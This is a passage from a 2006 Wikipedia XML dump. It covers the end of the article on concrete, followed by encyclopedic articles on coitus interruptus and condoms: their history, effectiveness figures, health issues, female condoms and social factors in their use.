* Metric units (converted from US rule of thumb) &lt;!-- concrete expert from metric country needed to confirm metric rule of thumb --&gt;
:Add 2 litres of water per cubic metre of concrete in the mixer truck to increase slump by 1 cm. Adding 60 litres to 10 cubic metres of batched concrete will therefore increase the slump by about 3 cm.

Slump can also be increased by adding a plasticizer, without changing the water/cement ratio.

==Self compacting concretes==
During the 1980s a number of countries including Japan, Sweden and France developed a range of concretes that were self-compacting. These 'SCC's are characterised by their extreme fluidity (using [[plasticizer]]s), behaving more like water than the traditional viscous concrete. 

SCCs are characterized by
*  extreme fluidity measured by ''flow'' or ''slump'', typically measured between 700-750 mm.
*  no need for [[vibrator]]s to compact the concrete, which can be noisy
*  no or little need for expensive concrete [[pump]]ing equipment
*  no bleed water (excess water draining out of the concrete)

SCC can offer benefits of up to 50% in labour costs, due to it being poured up to 80% faster and having reduced wear and tear on [[formwork]].

As of 2005, self compacting concretes account for 10-15% of concrete sales in some European countries.

==Shotcrete / sprayed concrete==
''Main article:'' [[Shotcrete]]&lt;p&gt;
[[Shotcrete|Shotcrete]] uses compressed air to shoot (cast) concrete to a frame or structure. Shotcrete is mostly used for rock support, especially in [[tunnelling]]. Today there are two application methods for shotcrete: the dry-mix and the wet-mix procedure. In Dry-mix the dry mixture of cement and aggregates is filled into the machine and conveyed with [[compressed air]] through the hoses. The water needed for the hydration is added at the nozzle. In Wet-mix the mixes are prepared with all necessary water for hydration. The mixes are pumped through the hoses. At the nozzle compressed air is added for spraying. For both methods additives such as [[plasticizer]]s and [[accelerator (chemistry)|accelerator]]s may be used. Shotcrete is normally reinforced by fibers.

== See also ==
*[[Building construction]]
*[[Concrete mixer]]
*[[Concrete recycling]]
*[[Concrete resurfacing]]
*[[Reinforced concrete]]
*[[Slab-on-grade foundations]]
*[[Shotcrete]]
*[[Formwork]]
*[[Mortar (masonry)]]
*[[Litracon]]

==External links==
* [http://inventors.about.com/library/inventors/blconcrete.htm History of Concrete]
* [http://www.ecosmart.ca EcoSmart Concrete] A non-profit organization dedicated to reduce the [[GHG]] signature of concrete.
* [http://www.extenza-eps.com/TELF/doi/abs/10.1680/macr.56.3.151.36304 Effect of curing on the tensile strength of medium to high strength concrete.]

[[Category:Concrete| ]]
[[Category:Structural engineering]]

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[[zh:混凝土]]</text>
    </revision>
  </page>
  <page>
    <title>Coitus interruptus</title>
    <id>5373</id>
    <revision>
      <id>42045071</id>
      <timestamp>2006-03-03T12:26:17Z</timestamp>
      <contributor>
        <username>BrownHairedGirl</username>
        <id>754619</id>
      </contributor>
      <comment>dab. catholic</comment>
      <text xml:space="preserve">'''Coitus interruptus''', also known as '''withdrawal''' or the '''pull out method''', is an unreliable method of [[contraception]] in which, during [[sexual intercourse]], the man removes his [[penis]] from the woman's [[vagina]] just before he reaches [[orgasm]]. That way, the [[ejaculation]] of [[semen]] is not in the vagina but elsewhere. This method has been widely used for at least 2,000 years and was used by an estimated 38 million couples worldwide in 1991 (Population Action International).

In practice, after removing his penis from the vagina, the man will often ejaculate elsewhere, such as on the woman's body or face.

Used by itself, this method is unreliable, because of the difficulty of controlling the process of ejaculation. It has been suggested that the [[pre-ejaculate]] (&quot;[[Cowper's fluid]]&quot;), which has a lubricatory function, contains [[spermatozoa]] ([[semen|sperm]] cells), and is easily drawn into the vagina by [[capillary action]]. However, modern research[http://www.ncbi.nlm.nih.gov/entrez/query.fcgi?cmd=Retrieve&amp;db=pubmed&amp;dopt=Abstract&amp;list_uids=12286905&amp;query_hl=1&amp;itool=pubmed_docsum] suggests that in fact there are no live sperm in the fluid, and the primary cause of failure of this method of contraception is the lack of self-control of those using it: interrupting just at climax can be psychologically difficult, as it goes against the natural instinct to ejaculate deeply within the vagina. It is also largely ineffective in the prevention of [[STDs]], since [[pre-ejaculate]] may carry viral particles or bacteria which may infect the partner should the fluid come in contact with mucous membranes.  However, a reduction in the volume of bodily fluids exchanged during intercourse may reduce the likelihood of disease transmission due to the smaller number of pathogens present.

The advantage of coitus interruptus is that it can be used by people who have religious objections against or do not have access to other forms of contraception.  It has no cost, requires no artificial devices, has no physical side effects, and can be practiced without a prescription or medical consultation.  The disadvantage, as stated, is that it can be unreliable.

The [[Bible]] mentions this method in the story of [[Onan]].

According to a widely circulated joke, the [[obstetrics and gynaecology]] nurses' [[argot]] term for a woman relying on &quot;the natural method&quot; is &quot;mother&quot;. In actuality, being educated about different forms of natural methods and combining them can improve the effect. According to [[Emory University]], withdrawal has a typical failure rate of 19%.  However, for the couples that use this method correctly, the failure rate is 4% [http://www.gynob.emory.edu/familyplanning/withdrawal.cfm]. In comparison [[Oral contraceptive|the pill]] has a first-year failure rate of 5%, which drops to about 0.1% if used correctly [http://www.gynob.emory.edu/familyplanning/pills.cfm] while the diaphragm has a typical user failure rate of 20% and a perfect user failure rate of 6% [http://www.fda.gov/fdac/features/1997/conceptbl.html].

This method has many nicknames, the most popular of which is &quot;the Hail Mary&quot; due to its low rate of success as well as its connotations for use in the [[Roman Catholic Church|Catholic]] community, even though the Catholic Church considers this practice as a form of masturbation.  The dated [[Australian]] slang term 'getting off at [[Redfern]]' derives its meaning from the location of Redfern's [[CityRail]] suburban train station, which is situated one stop from Sydney's Central railway station. Most [[CityRail]] suburban train lines pass through Redfern en-route to Central, making Redfern the second-last stop for many commuters.  To 'get off at Redfern', therefore, means to interrupt one's journey just before completion.

== See also ==
* [[coitus reservatus]]
* [[Natural birth control]]
* [[Skeet (slang)]]

== References ==
* Population Action International (1991).  &quot;A Guide to Methods of Birth Control.&quot;  Briefing Paper No. 25, Washington, D. C.
* Rogow, Deborah, and Horowitz, Sonya. (1995).  &quot;Withdrawal:  A Review of the Literature and an Agenda for Research.&quot;  Studies in Family Planning.  Vol 26, No 3 (May-June 1995), pp. 140-153.


[[Category:Birth control]] 

&lt;!-- The below are interlanguage links. --&gt;

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    </revision>
  </page>
  <page>
    <title>Condom</title>
    <id>5374</id>
    <revision>
      <id>42161315</id>
      <timestamp>2006-03-04T05:41:35Z</timestamp>
      <contributor>
        <ip>207.194.23.146</ip>
      </contributor>
      <comment>HIV is a virus, not a disease</comment>
      <text xml:space="preserve">:''This article is about the contraceptive device.  For the town in [[France]], see [[Condom, France]].'' 

[[Image:Trojan_condom.jpg|thumb|right|A condom sealed in typical packaging]]

A '''condom''' is a device, usually made of [[latex]] or more recently [[polyurethane]], that is used during [[sexual intercourse]] to reduce the risk of [[pregnancy]] and/or some [[sexually transmitted diseases]] (STDs) such as [[gonorrhea]], [[syphilis]] and [[AIDS]]. 
Condoms are also often used to cover medical ultrasound imaging transducers, keep a [[sex toy]] clean, and in cases of toys shared between partners, helping provide STD protection.  Condoms do not protect against all forms of STDs. Other uses include holding water, keeping gun muzzles dry, and being a membrane to keep drugs intact whilst being trafficked. They are also known as '''prophylactics''', as well as a number of colloquial or slang terms, such as '''rubbers'''.

Folk etymology claims, without basis, that the word &quot;condom&quot; is derived from a purported &quot;Dr. Condom&quot; or &quot;Quondam&quot;, who made the devices for King [[Charles II of England]]. Other than through unverifiable folk stories, there is no evidence that any such &quot;Dr. Condom&quot; existed.

==Overview &amp; History==
Prior to the early to mid [[80s]], condoms were low profile, undervalued articles. Their primary use revolved around the avoidance of pregnancy. Their function in helping to prevent sexually transmitted diseases (STDs), although recognized since Roman times, was not a major consideration among the general public.

The advent of Acquired Immunodeficiency Syndrome (AIDS), coupled with increased incidence of STDs in general and the need to publicise effective means of avoiding infection, led to a much more open discussion of sexual matters. Condoms are now classified medical devices and their production and sale are highly regulated activities

[[Image:Condom 1900.jpg|thumb|left|A condom made from animal hide around 1900]]
The first efforts at making condoms involved the use of [[woven]] [[Cloth|fabric]]s. These were not effective, as both disease-carrying [[virus]]es as well as [[sperm]] could fit between the woven fibers. The earliest effective condoms were made of sheep gut or other animal membrane. These are still available today because of their greater ability to transmit body warmth and tactile sensation, when compared to [[synthetic]] condoms, but they are not as effective in preventing pregnancy and disease. Mass production of condoms started in the mid-19th century, shortly after the invention of the [[rubber]] [[vulcanization]] process. Until the 1930s, condoms were made from rubber; they were still quite uncomfortable and expensive (though reusable) and thus only available to a small part of the population. When [[latex]] condoms became available in late 1930s, it was a leap forward in effectiveness and affordability. However, before the middle of the 20th century, many places outlawed the sale of condoms, and many subsequently allowed their sale &quot;only for the prevention of disease&quot;. During this ban, they come under many aliases such as &quot;rubber sponges&quot;. One of the early condom brands was called &quot;Merry Widows&quot;.

[[Image:UnrolledCondom.jpg|thumb|An unrolled latex condom]]
Latex condoms are packaged in a rolled-up form, and are designed to be applied to the tip of the penis and then rolled over the [[erection|erect]] penis. They have a &quot;right side&quot; and a &quot;wrong side&quot; when rolled up, and the first thing the user must do is to determine which side is which before attempting to apply them. Any touching of the penis to the wrong side of the rolled-up condom before application potentially contaminates the outside with bodily fluid, defeating the condom's purpose.

Early latex condoms were very similar, but later some came to have reservoir tips to contain [[ejaculation|ejaculated]] [[semen]]. One relatively early innovation, the 'short cap', only covered the head of the penis. These were not useful condoms, as there was still contact between the partners' genitals, and bodily fluids could easily spill out of the cap. 

[[Image:ThreeColoredRolledUpCondoms.jpg|thumb|left|Condoms in many colors]]
In recent decades, however, condom makers have diversified in colors, sizes and shapes, and thicknesses. Flavors or designs thought to have stimulating properties are sometimes added. Such stimulating properties include enlarged tips or pouches to more fit the [[glans penis]] better and textured surfaces such as ribbing or studs (small bumps). Many condoms have [[spermicide|spermicidal]] [[personal lubricant|lubricant]] added, but it is not an effective substitute for separate spermicide use.

[[Image:McCondom dsc06781.jpg|thumb|100px|An example of flavoured condoms]]
Condoms made from natural materials (such as those labeled &quot;lambskin&quot;, made from [[lamb]] [[intestine]]s) are not as effective at preventing disease. A few companies today are also making condoms from [[polyethylene]] and [[polyurethane]], expected to be as effective as, but less tested than, latex. These condoms have the advantage of being compatible with oil-based lubricants. They can also be used by people who have a latex [[allergy]].

As a method of [[contraception]], condoms have the advantage of being easy to use, having few side-effects, and of offering protection against sexually transmitted diseases.  With ''typical use,'' condoms have an 85% success rate per year in regard to preventing pregnancy — but with proper knowledge and application technique, the success rate climbs to over 98%, with near-total success when combined with a vaginal [[spermicide]] or [[oral contraception]]. {{citationneeded}}

==Disadvantages==
*Many complain that putting them on can interrupt foreplay and lovemaking, although some people have integrated wearing a condom as part of the entire process for sexual activity.[http://www.plannedparenthood.org/pp2/portal/medicalinfo/birthcontrol/pub-condom.xml] (This doesn't apply to female condoms, which can be put on 8 hours prior to sex.)
*Because of an obvious barrier of the skins, sensory stimulation is sacrificed, especially with older style thicker condoms, causing some people to dismiss condoms as limiting their pleasure (though this effect can be largely overcome by properly applying lubricants internally and externally). However, a woman can partially solve this problem by training her vaginal muscles, specifically the [[pubococcygeus]].

==Physical Properties of latex condoms==
[[Vulcanized rubber]] latex has outstanding elastic properties. Tensile strength excedes 30MNm&lt;sup&gt;-2&lt;/sup&gt; . Condoms may be stretched in excess of 800% before breaking. &lt;ref&gt;&quot;&lt;cite&gt; Condoms produced by Western industrial standards exceed by a wide margin the minimum strength required for effective use&lt;/cite&gt;&quot; PMID 12264044 &quot;Relationship of condom strength to failure during use.&quot;&lt;/ref&gt;
Condoms maybe freely coloured, and their surfaces textured. Condoms can be made to custom shapes, such as an enlarged &quot;head&quot; or in novelties have tentacles, or other features for clitoral stimulation. &lt;br&gt;
Natural latex can be cured to be 0.046mm in thickness, while polyurethane can be set at 0.02mm thickness.
In 1990 the [[ISO]] set standards for production (ISO 4074, Natural latex rubber condoms) and the [[EU]] followed suit with its [[CEN]] standard (Directive 93/42/EEC concerning medical devices). &lt;br&gt;
Condoms are tested with an electrical current for holes.  If the condom passes, it is rolled and packaged.  Batches of condoms are tested for breakage with air inflation tests (Nordenberg T. (1998) 'Condoms: barriers to bad news', FDA Consumer Magazine, March-April).  Condoms are evaluated for their ability to form barriers against the [[pathogen]]s that can cause various [[sexually transmitted infection]]s which can be vastly smaller than sperm.
The average dimensions of a condom are: Length: 190mm, Circumference: 52mm, Thickness: 0.07mm. 
Thickness for a condom is a tricky issue, as the condom is thicker at the head than on the shaft in many cases.

==Duron/Polyurethane versus latex==
'''Advantages''':

[[Polyurethane]] can be considered better than [[latex]] in several ways:
*It conducts heat better than latex
*It lasts longer in storage
*It does not degrade in oil- or water-based lubricants, also it does not degrade as readily as latex
*It is suitable for those with latex allergies. It is widely used in internal medicine such as artificial hearts, [[pumps]], and [[blood vessel]] [[catheters]].
*Polyurethane condoms have no smell, unlike latex condoms
*Polyurethane condoms are smoother than latex ones
*Unlike latex condoms, which must be stored at a reduced temperature range to avoid degradation, polyurethane condoms have no such requirements

'''Disadvantages''':
    
*Clinical failure (breaks and slippage, together) of polyurethane show significantly higher rates over latex use.&lt;ref&gt;Frezieres RG, et al.: Fam Plann Perspect 1998, 30:73-78&lt;/ref&gt;
*It is more expensive than standard latex condoms.
*It may not be as effective in protecting against STDs.&lt;ref&gt;&quot;&lt;cite&gt;The polyurethane condom [..] Disadvantages vs. latex condoms [..] May not be as effective in protecting against sexually transmitted diseases.&lt;/cite&gt;&quot; [http://www.contraceptiononline.org/slides/slide01.cfm?q=male+condom&amp;dpg=4 Contraception online]&lt;/ref&gt;

==Condom failure==
A [[1994]] [[FHI]] study showed that most condom users rarely experienced condom breakage, while a study by the [[World Health Organization]] states condom effectiveness at 97% and other studies have set it at 80% &lt;ref&gt;&quot;&lt;cite&gt;The report examined two decades of scientific literature on condoms, and UNAIDS says lead author Norman Hearst 'makes a cogent argument that we should be talking about safer sex, not safe sex, with condoms.'&lt;/cite&gt;&quot; [http://www.cwnews.com/news/storytools.cfm?task=print&amp;recnum=23132 United Nations Report says Condoms have 10% Failure Rate against AIDS]&lt;/ref&gt;. The main reason for breakage, besides misuse, is damage from fingernails, teeth, and rings or ineffective application. Some UK reports state that breakages only occur 0.3% of the time.

Most condom failures are due to misuse. This has led some researchers to suggest age-appropriate [[sex education]] that includes how to use a condom properly.

Another possible cause of condom failure is [[sabotage]]. One motive is to have a child against a partner's wishes, known to be done by men and women alike. Saboteurs usually pierce the condom's tip multiple times before intercourse. As this can result in pregnancies unwanted by one of the participants, it is generally seen as a deceitful and unethical act. However, websites exist that provide advice on sabotage to women who want children against their male partner's wishes.

==Proper use==
{{wikibookspar||use of male condoms}}
The packaging often contains instructions for use, and often suggests lubricants. For more general information and advice on condom use, please see ''[[wikibooks:Use of male condoms]]''.

==Effectiveness of preventing STDs==
According to a 2001 report by the [[National Institutes of Health]] &lt;ref&gt;&quot;&lt;cite&gt;Recently, a number of Federal agencies sponsored a workshop to answer the following question: &quot;What is the scientific evidence on the effectiveness of latex male condom-use to prevent STD transmission during vaginal intercourse?&quot; This workshop was attended by 180 persons, and the data from numerous peer-reviewed published studies were discussed. Following the workshop, a panel of 28 experts worked to develop this report.&lt;/cite&gt;&quot; [http://www.niaid.nih.gov/dmid/stds/condomreport.pdf Scientific Evidence on Condom Effectiveness for Sexually Transmitted Disease (STD) Prevention]&lt;/ref&gt;, correct and consistent use of ''latex'' condoms:

* reduces the risk of [[HIV]]/[[AIDS]] transmission by approximately 85%.
* reduces the risk of [[gonorrhea]] for men by approximately 71%.

Other [[sexually-transmitted infection]]s may be affected as well, but they could not draw definite conclusions from the research they were working with. In particular, these include STIs associated with [[ulcer]]ative lesions that may be present on body surfaces where the condom doesn't cover, such as [[human papillomavirus]] (HPV), [[Herpes simplex#Genital infection (Generally HSV 2)|genital herpes simplex]] (HSV), [[chancroid]], and [[syphilis]].  If contact is made with uncovered lesions, transmission of these STIs may still occur despite appropriate condom use.  Additionally, the absence of visible lesions or symptoms cannot be used to decide whether caution is needed.

An article in ''The American Journal of Gynecologic Health''&lt;ref&gt;&quot;&lt;cite&gt;In a study, all women who correctly and consistently used Reality were protected from Trichomonas vaginalis, while sporadic users were not protected.&lt;/cite&gt;&quot; [http://www.ncbi.nlm.nih.gov/entrez/query.fcgi?cmd=Retrieve&amp;db=PubMed&amp;list_uids=12288250&amp;dopt=Abstract The female condom: STD protection in the hands of women.]&lt;/ref&gt; showed that &quot;all women who correctly and consistently used Reality® were protected from [[Trichomonas vaginalis]]&quot; (referring to a particular brand of [[Condom#female condoms|female condom]]).

==Health issues==
[[Carcinogen|Carcinogenic]] [[nitrosamine|nitrosamines]] have been discovered in 29 out of 32 condom brands tested by the Chemical and Veterinary Investigation Institute in [[Stuttgart]] &lt;ref&gt;&quot;&lt;cite&gt;The Chemical and Veterinary Investigation Institute in Stuttgart said on Friday it had found the carcinogen N-Nitrosamine in 29 of 32 types of condoms it tested in simulated conditions.&lt;/cite&gt;&quot; [http://www.dw-world.de/dw/article/0,,1220847,00.html German Study Says Condoms Contain Cancer-causing Chemical]&lt;/ref&gt;. However, there have been no studies linking the use of condoms to an increased risk of cancer and a 2001 study from the University of Kiel concluded that humans regularly receive 1,000 to 10,000 times greater nitrosamine exposure from food and tobacco than from condom use and concluded that the risk of cancer from condom use is very low. &lt;ref&gt;&quot;&lt;cite&gt;In addition, humans are regularly exposed to nitrosamines from food and tobacco smoke at a dose which is 1,000 to 10,000 fold higher than expected from condom use. In summary, the risk for the induction of tumors from nitrosamines in condoms is very low.&lt;/cite&gt;&quot; [http://www.ncbi.nlm.nih.gov/entrez/query.fcgi?cmd=Retrieve&amp;db=pubmed&amp;dopt=Abstract&amp;list_uids=11759152&amp;query_hl=4&amp;itool=pubmed_docsum Toxicological evaluation of nitrosamines in condoms.]&lt;/ref&gt;

Some lubricated condoms are produced with dusting powders, such as [[talc]], which aren't recommended by the University of Virginia School of Medicine for surgery because of &quot;acute &amp; chronic problems&quot; that may arise if the powders find their way into the abdominal cavity (i.e. via the [[vagina]]). &lt;ref&gt;&quot;&lt;cite&gt;These dusting powders can gain access to the abdominal cavity through the vagina or through surgical intervention. The toxicity of these dusting powders in the abdominal cavity can be divided into acute and chronic complications that may be life-threatening. The use of medical and surgical products without dusting powders is strongly recommended.&lt;/cite&gt;&quot; [http://www.ncbi.nlm.nih.gov/entrez/query.fcgi?cmd=Retrieve&amp;db=pubmed&amp;dopt=Abstract&amp;list_uids=10167361&amp;query_hl=15&amp;itool=pubmed_docsum Potential toxicity of retrograde uterine passage of particulate matter.]&lt;/ref&gt;

Condoms lubricated with the spermicide [[Nonoxynol-9]] may increase the user's risk of contracting the [[HIV]] virus and other sexually transmitted diseases. For this reason, [[Planned Parenthood]] has discontinued the distribution of condoms so lubricated, and the [[Food and Drug Administration]] has proposed a warning regarding this issue.&lt;ref&gt;&quot;&lt;cite&gt; Nonoxynol 9 works as a vaginal contraceptive by damaging the cell membrane of sperm. It has been shown in laboratory studies to damage the cell walls of certain organisms that cause STDs and to be active against some STD-causing bacteria and viruses. On the basis of data that are described in the labeling proposal, FDA believes that this same membrane-damaging effect can harm the cell lining of the vagina and cervix, thereby increasing the risk of STD transmission.&lt;/cite&gt;&quot; [http://www.fda.gov/bbs/topics/ANSWERS/2003/ANS01191.html FDA proposes new warning for over-the-counter contraceptive drugs containing Nonoxynol-9] &lt;br /&gt; &quot;&lt;cite&gt;The Centers for Disease Control states: 'N-9 can damage the cells lining the rectum, thus providing a portal of entry for HIV and other sexually transmissible agents. Therefore, N-9 should not be used as a microbicide or lubricant during anal sex.'&lt;/cite&gt;&quot; [http://www.thebody.com/atn/384/nonoxynol9.html Nonoxynol-9 Dangers: Health Experts Warn Against Rectal Use]&lt;/ref&gt;

Latex condoms used with oil-based lubricants (e.g. [[vaseline]]) are likely to break due to rapid deterioration caused by the oils.

==Prevalence of condoms==
Condoms are most accessible in [[developed countries]]. In various cultures, a number of social or economic factors make access to condoms prohibitive. In some cases, cultural beliefs may cause some persons to shun condoms deliberately even when they are available. &lt;ref&gt;&quot;&lt;cite&gt;Two thirds of teenagers in the central African country of Cameroon have sex by the age of 16 and more than half of them shun condoms, according to a study by German aid agency GTZ.&lt;/cite&gt;&quot; [http://12.31.13.116/HealthNews/Reuters/20040302elin014.htm Sexually Active Cameroon Youths Shun Condoms]&lt;/ref&gt;

Furthermore, regardless of culture and availability, many men shun condoms simply because they dislike using them. This dislike may be due either to a belief that condoms reduce sexual pleasure or to practical problems, e.g. difficulty in sustaining an erection hard enough for effective condom use.

==Female condoms==
[[Image:Préservatif féminin.jpg|thumb|300px|right|Female condom]]
Recently &quot;'''female condoms'''&quot; or &quot;'''femidoms'''&quot; (not to be confused with [[femdom]]s) have become available. They are larger than male condoms and have a stiffened ring-shaped opening, and are designed to be inserted into the [[vagina]]. The female condom also contains an inner ring which keeps the condom in place inside the vagina — inserting the female condom requires squeezing this ring. Sales of these have been disappointing in developed countries, though increasingly developing countries are using them to complement already existing family planning and HIV/AIDS programming. Probable causes for poor sales are that inserting the female condom is a skill that has to be learned and that female condoms can be significantly more expensive than male condoms (upwards of 2 or 3 times the cost). Also, reported &quot;rustling&quot; sounds during intercourse turn off some potential users, as does the visibility of the outer ring which remains outside the vagina. This type of condom is made from [[polyurethane]], though newer iterations are made from [[nitrile]]. 

In September 2005, the primary global manufacturer of female condoms — the Female Health Company of Chicago, Illinois — announced the introduction of a second-generation FC2 Female Condom made from [[nitrile]]&lt;ref&gt;&quot;&lt;cite&gt;Changes in the material for FC2 permits use of a manufacturing process that results in reduced cost as volume increases. This offers the Female Health Company the opportunity to dramatically lower the price of FC2&lt;/cite&gt;&quot; [http://www.prnewswire.co.uk/cgi/news/release?id=155037 Female Health Company Announces International Availability of Second - Generation Female Condom at Significantly Lower Price]&lt;/ref&gt;. The Female Health Company noted that the second-generation [[nitrile]] female condom performs statistically the same as its polyurethane precursor in preventing the transmission of [[HIV]], sexually transmitted infections, and unintended pregnancy.  The [[nitrile]] female condom has also been designed to mitigate the &quot;rustling&quot; noise that some consumers have attributed to the [[polyurethane]] female condom. The [[nitrile]] material of the second-generation female condom will also allow for significant reductions in female condom pricing because it can be produced with a new manufacturing process that allows for efficient economies of scale when made in mass quantities.  

On November 22, 2005, the World [[YWCA]] issued an international Call to Action for the Female Condom that called on national health ministries and international donors to commit to purchasing 180 million female condoms for global distribution in 2006&lt;ref&gt;&quot;&lt;cite&gt;The World YWCA is issuing a direct appeal to national health ministries, foreign aid agencies and international NGOs. We call on these entities to sign agreements in 2006 that will commit them to purchasing a minimum of 180 million of the second-generation female condom for annual global distribution. We also call on governments to ensure that the female condom is marketed to women in local communities and promoted as an effective method to prevent HIV/AIDS and sexually transmitted infections.&lt;/cite&gt;&quot; [http://www.prnewswire.co.uk/cgi/news/release?id=158769= Statement of Dr. Musimbi Kanyoro, General Secretary, World YWCA]&lt;/ref&gt;. The World YWCA statement, which was signed by General Secretary Musimbi Kanyoro and World YWCA affiliates in six African nations, noted that the female condom is the only available form of woman-initiated protection against HIV but remains virtually inaccessible to women in the developing world due to its high unit cost of 72 cents per female condom. The World YWCA noted that if the global public health sector will commit to buying at least 180 million female condoms in bulk, the price of the female condom will immediately decline by more than two-thirds — to 22 cents per female condom. Currently, only 12 million female condoms are distributed to women in the developing world on an annual basis.  By comparison, between 6 and 9 billion male condoms are distributed.   

Female condoms have the advantage of being compatible with oil-based lubricants as they are not made of latex. The external genitals of the wearer and the base of the penis of the inserting partner are more protected than when the male condom is used.  Inserting a female condom does not require male erection. (Boston Women's Healthbook Collective, 2005: 336-337)

The instructions for use of female condoms are of necessity different from those of male condoms, since they are inserted rather than worn, and designed to drape around the penis, rather than to fit tightly over it.  They are as follows:

* The condom should be removed carefully from the packaging;
* The small inner ring should be squeezed closed;
* The inner ring should be pushed into the vagina, the outer ring remaining outside;
* The penis should be guided through the outer ring to ensure that it is not pushed aside.
* Before removing the condom, the outer ring should be squeezed and twisted (while the wearer is still lying down, if applicable) to ensure that semen does not leak out of the pouch.  Pull to remove the condom.
* Any &quot;rustling&quot; can be counteracted by applying extra lubricant to the inside of the condom; this is also the course of action to take if the outer ring is pulled into the vagina during intercourse. (Boston Women's Health Book Collective, 2005: 337-338)

A new, updated female condom is being developed by PATH, a medical technologies NGO, that is claimed to be easier to put in as well as less awkward to use&lt;ref&gt;&quot;&lt;cite&gt;But the result was a female condom that is easy to insert and remove, is very stable during sex, and feels good for both partners.&lt;/cite&gt;&quot; [http://www.path.org/projects/womans_condom.php PATH's Woman's Condom]&lt;/ref&gt;. A second iteration of the original female condom is also in development by the Female Health Company that would be cheaper and easier to use&lt;ref&gt;&quot;&lt;cite&gt;We anticipate that by offering the second generation product at significantly reduced cost, the availability of FC Female Condom will experience considerable growth.&lt;/cite&gt;&quot; [http://www.femalehealth.com/pdf/FHCAR2004.pdf The Female Health Company 2004 Annual Report]&lt;/ref&gt;.

==&quot;French Letter&quot;==
Condom is sometimes considered a clinical expression. In Britain a condom is also named a French letter, much like the colloquial German word for a condom, &quot;Pariser&quot;. The English phrase &quot;French letter&quot; expresses the old image (or prejudice of Brits) that  anything coming from France is decadent and has to do with sex. According to British military history, a Britain's Royal Guards Colonel named Condum, in 17th century (when Anglo-Fench enmity was at its mutual height) devised the French letter to protect his troops from the French by using it. According to colloquial French, however, a condom is named an &quot;English overcoat&quot; (&quot;''capote anglaise''&quot;).

==Religious attitudes towards use of condoms==
:''Main article: [[Birth control#Religious and cultural attitudes toward birth control|Religious and cultural attitudes toward birth control]]''

Condoms and other mechanisms of contraception, along with [[abortion]], are condemned by the [[Roman Catholic Church]], some Christian denominations, and many [[Hindus]] for moral reasons relating to their beliefs regarding the purpose of the sexual faculty. Opinions of [[Orthodox Christian]] bishops, [[Jewish]] authorities, [[Muslims]], [[Buddhists]], and other Christian denominations vary on the matter. 

Condemnations of contraception are typically based on the belief that sex has both procreative and unitive aspects; and that to restrict the procreative aspect requires careful thought and should be practiced through [[natural family planning]] (NFP)  methods such as the [[Billings ovulation method|Billings]] or sympto-thermal methods.

Religious approval is often based on the belief that the choice of contraceptive use lies with individual conscience, or is not significantly different from natural family planning to warrant condemnation; while other religious authorities view contraception from the angle of stewardship of the Earth, viewing overpopulation abatement as part of good stewardship and contraception (including limiting sexual activity) as serving this purpose.

Groups such as [[Planned Parenthood]], which advocate [[family planning]] and [[sexual education]], feel that religious opposition confounds attempts at public contraceptive education, which they see as a necessity to help prevent unwanted pregnancies or the spread of STDs.  At the same time, religious opponents to contraceptive use often oppose public contraceptive education or the availability of contraceptives such as condoms at schools on the grounds that education in sexuality should remain a personal affair, or that sexual education programs should exclusively teach abstinence. Other religious groups do not oppose contraceptive education but believe that abstinence should be given a greater focus in such programs.

==Factors influencing condom use==
Most research has revealed, through survey, four factors which establish the minimal use of condoms: various encumbering beliefs, reduced sexual pleasure, adverse experiences, and fears related to gender and tensions.  However, as new technology and beneficial studies come forth that combat these various factors, there is still a substantially low amount of individuals world-wide who practice [[safe sex]].  This noticeable gap has lead several investigators to analyze perhaps [[social]] factors becoming involved such as a residual [[social stigma]] attached to condoms.  At the same time, anti-condom movements like [[barebacking]] are remarkable social trends of simple, yet unsafe, defiance of an unnecessary precaution.

In broad detail, social factors range from geographical location to race, and become as specified as methamphetamine versus non-drug users, so [[correlations]] within this research are not always strong and accurate, but it does establish that correlations do exist.

===Geographic location===
Several regions provide examples of social factors influencing the use of condoms within their populous.  Two examples which contrast the effects of similar problems are [[South Africa]] and rural [[Lebanon]].

Unfortunately, South Africa has some of the highest [[HIV]] rates in the world, so there the statistics on condom use are being studied heavily. As of 2001, the 21-25 year age group has the peak rate of infection at 43.1% (Campbell &amp; MacPhail 2001).  These studies became more specified and it was discovered that despite all the information known today about HIV and the spread of infection, many [[young people]] of the study did not feel that they were in danger of contracting this disease.  In fact, only 30% of people, males and females, felt they had any risk of contracting HIV at all. Of those that said they felt there was any chance of contracting HIV, only 12.9% thought there was a moderate chance, and 17.6% thought they had a good chance of [[infection]]. It seems that even though the youth of South Africa do have a relatively high level of knowledge concerning the [[risk factor]]s of getting HIV, many feel that is simply won't happen to them.  Many of the factors found in South Africa apply to well [[developed countries]] of the world and these new findings hopefully will help shape future campaigns against decreased condom use in the future.

Another end of the spectrum are the rural areas of Lebanon in the [[Middle East]].  Generally, the use of condoms and other forms of [[contraceptives]] in the Middle East is low even though there is a growing awareness of [[sexually transmitted diseases]] and HIV/AIDS (Kulczycki, 2004).  A study revealed that only twenty-four percent of the women in the regions ever used a condom.  A household survey was also done on condom use which found that ninety-eight percent of women had indeed heard of contraceptive methods, but only eighty-five percent of the women had heard of condoms.  Some things to keep in mind also are that women in this culture are not expected to have knowledge or express openly knowledge of contraceptives or even sexuality.  Also some background that is needed on the group surveyed is that the marital [[fertility rate]] of the surveyed women were about five children per woman, and each of the women had a different level of education.  About sixty-one percent had intermediate-level education, twenty percent had a primary education, and eighteen percent had trouble reading or could not read at all.  This provides evidence that condom use varies dependant on social factors like the area’s cultural background and education.

It should be noted that largely the variances in geographical location are highly affected by culture and cultural beliefs, as well as class and race, but also have dynamic influences resounding from [[economic]] yield for the area, use and expansion of [[communication]], and other criteria.  These social factors can again be examined in South Africa and rural Lebanon:

An example is that in South Africa, it was discovered (Campbell &amp; MacPhail 2001) that condom availability is a problem for young adults.  Although condoms are given away by local clinics, many participants stated that there are instances when they found themselves without condoms because they never know when they are going to need one.  Thus, this higher economic region has properly developed health services; they are just not being properly utilized by the public.

Opposing in the lower economic region of rural Lebanon, another reason for the lack of condom use is that public health services and family planning services are very inadequately developed.  A health service that is trying to help is the Lebanese Family Planning Association but their funding is very limited and recently they have not been able to increase its budget to promote more complete reproductive health service.

Despite these specific social factors contributing to the differences between these regions and others, most research has identified issues such as trust and gender power in relationships and others as socially relevant to almost all countries worldwide.

===Drug use===
The use of [[methamphetamines]] is shown to dramatically increase one’s desire to have sex, which can lead to pregnancy and/or the transmission of sexually transmitted diseases.  Some injection drug users allege to have changed their sexual behavior since the [[AIDS pandemic]], but still a relatively few percentage (6%–44%) of injectors use condoms while averaging twelve partners per year.

